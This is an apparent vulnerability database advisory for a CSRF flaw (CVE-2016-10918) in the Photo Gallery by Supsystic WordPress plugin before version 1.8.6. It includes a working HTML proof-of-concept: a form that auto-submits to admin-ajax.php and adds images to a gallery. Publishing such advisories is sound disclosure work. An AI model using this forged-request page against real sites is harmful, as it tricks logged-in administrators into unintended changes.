Photo Gallery by Supsystic < 1.8.6 – Arbitrary Image Adding via CSRF | CVE 2016-10918 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when adding images to a gallery, which could allow attacker to make a logged in admin perform such action via a CSRF attack

Proof of Concept

<html>
   <body>
      <form method="post" action="https://<target>/wp-admin/admin-ajax.php">
         <input type="hidden" name="action" value="grid-gallery">
         <input type="hidden" name="galleryId" value="5">
         <input type="hidden" name="attachType" value="gallery">
         <input type="hidden" name="folder_id" value="0">
         <input type="hidden" name="attachment_id" value="10">
         <input type="hidden" name="route[module]" value="photos">
         <input type="hidden" name="route[action]" value="add">
      </form>
      <script>
         document.forms[0].submit();
      </script>
   </body>
</html>

Affects Plugins

gallery-by-supsystic

Fixed in 1.8.6

References

CVE

URL

https://seclists.org/fulldisclosure/2016/Aug/64

URL

https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_photo_gallery_wordpress_plugin_allows_adding_of_images.html

URL

https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_photo_gallery_wordpress_plugin_allows_deleting_of_galleries.html

URL

https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_photo_gallery_wordpress_plugin_allows_deleting_of_images.html

URL

https://seclists.org/fulldisclosure/2016/Aug/65

URL

https://seclists.org/fulldisclosure/2016/Aug/66

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Submitter

ethicalhack3r

Submitter twitter

Verified

No

WPVDB ID

d651908a-ffdf-44ed-a4ab-5ecdeb7b48d5

Timeline

Publicly Published

2016-08-15 (about 9 years ago)

Added

2016-08-16 (about 9 years ago)

Last Updated

2022-06-17 (about 3 years ago)

Other

Published

Title

Published

2024-12-12

Title

Simple Booking Widget <= 1.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2025-01-16

Title

Floatbox Plus <= 1.4.4 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2025-01-16

Title

Kapost < 2.3.0 - Stored XSS via CSRF

Published

2022-09-11

Title

RD Station < 5.2.1 - Multiple CSRF

Published

2025-06-19

Title

Logo Manager For Samandehi <= 0.5 - Cross-Site Request Forgery